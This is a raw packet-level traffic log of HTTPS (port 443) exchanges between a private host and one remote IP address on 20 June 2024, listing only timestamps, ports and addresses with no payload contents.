Jun 20, 2024 19:07:17.067850113 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.068249941 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.068571091 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.068623066 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.068664074 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.068677902 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.068706989 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.068727016 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.069865942 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.069888115 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.069953918 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.069967031 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.069992065 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.070029020 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.085757017 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.085777998 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.085855961 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.085870028 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.085916996 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.086847067 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.086863041 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.086920023 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.086930990 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.086958885 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.086978912 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.088077068 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.088093996 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.088144064 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.088155985 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.088181019 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.088288069 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.089170933 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.089195967 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.089241982 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.089265108 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.089276075 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.089323044 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.089998007 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.090013981 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.090075970 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.090089083 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.090140104 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.156052113 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.156101942 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.156157017 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.156183958 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.156213045 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.156235933 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.156284094 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.156287909 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.156305075 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.156312943 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.156344891 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.156368971 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.157212973 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.157254934 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.157293081 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.157319069 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.157349110 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.157368898 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.175010920 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.175055981 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.175117970 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.175134897 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.175168037 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.175188065 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.176053047 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.176093102 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.176131964 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.176143885 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.176171064 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.176187992 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.177265882 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.177306890 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.177345037 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.177357912 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.177386999 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.177408934 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.178487062 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.178527117 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.178569078 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.178580999 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.178605080 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.178622961 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.179610014 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.179676056 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.179708004 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.179721117 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.179766893 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.179766893 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.244041920 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.244102955 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.244132996 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.244151115 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.244175911 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.244195938 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.245410919 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.245476007 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.245505095 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.245517015 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.245547056 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.245574951 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.246660948 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.246700048 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.246731997 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.246743917 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.246789932 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.246789932 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.262803078 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.262844086 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.262875080 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.262890100 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.262918949 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.262936115 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.264058113 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.264075994 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.264122009 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.264133930 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.264161110 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.264180899 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.265225887 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.265265942 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.265295029 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.265306950 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.265332937 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.265353918 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.266336918 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.266395092 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.266401052 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.266412020 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.266458035 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.266478062 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.267472982 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.267513990 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.267549992 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.267561913 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.267586946 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.267606020 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.333096027 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.333153009 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.333193064 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.333214998 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.333241940 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.333264112 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.334425926 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.334465981 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.334495068 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.334506035 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.334536076 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.334554911 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.335490942 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.335534096 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.335570097 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.335604906 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.335629940 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.335649014 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.350446939 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.350490093 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.350547075 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.350568056 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.350595951 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.350631952 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.351986885 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.352026939 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.352067947 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.352078915 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.352108002 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.352127075 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.353152990 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.353210926 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.353235006 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.353246927 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.353274107 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.353291035 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.354176044 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.354223013 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.354253054 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.354269028 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.354295969 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.354332924 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.355401039 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.355443001 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.355489016 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.355500937 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.355529070 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.355547905 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.426378965 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.426419973 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.426457882 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.426476002 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.426506996 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.426525116 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.428448915 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.428508997 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.428548098 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.428551912 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.428600073 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.429975033 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.430013895 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.430048943 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.430061102 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.430088997 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.430107117 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.437165976 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.437206030 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.437242031 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.437252998 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.437283993 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.437303066 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.438155890 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.438196898 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.438222885 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.438234091 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.438262939 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.438282967 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.438813925 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.438854933 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.438889027 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.438900948 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.438925982 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.438945055 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.439920902 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.439974070 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.439986944 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.440000057 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.440023899 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.440052032 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.441037893 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.441109896 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.441112041 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.441137075 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.441174030 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.441200018 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.508764029 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.508810043 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.508861065 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.508877039 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.508902073 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.508927107 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.513570070 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.513609886 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.513658047 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.513669968 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.513696909 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.513716936 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.514941931 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.514981985 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.515027046 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.515038967 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.515064001 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.515083075 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.524665117 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.524705887 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.524755955 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.524769068 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.524795055 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.524811029 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.525497913 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.525537014 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.525566101 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.525578976 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.525607109 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.525626898 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.526482105 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.526546001 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.526556015 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.526560068 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.526614904 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.528234959 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.528273106 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.528301001 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.528306007 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.528331041 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.528351068 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.529141903 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.529182911 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.529206991 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.529211998 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.529233932 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.529253960 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.594883919 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.594928026 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.594970942 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.594991922 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.595019102 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.595194101 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.600512028 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.600552082 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.600583076 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.600594997 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.600624084 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.600642920 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.601155043 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.601197958 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.601227999 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.601238966 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.601264954 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.601284981 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.611907959 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.611964941 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.611989975 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.612008095 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.612026930 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.612049103 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.612890005 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.612936974 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.612957001 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.612970114 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.612998962 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.613023996 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.614254951 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.614300966 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.614326954 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.614339113 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.614389896 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.614389896 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.615258932 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.615303040 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.615320921 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.615334034 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.615362883 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.615381956 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.616110086 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.616183996 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.616223097 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.616288900 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.682106972 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.682174921 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.682195902 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.682221889 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:17.682248116 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.682274103 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:17.688199997 CEST	443	49706	185.199.109.133	192.168.2.5
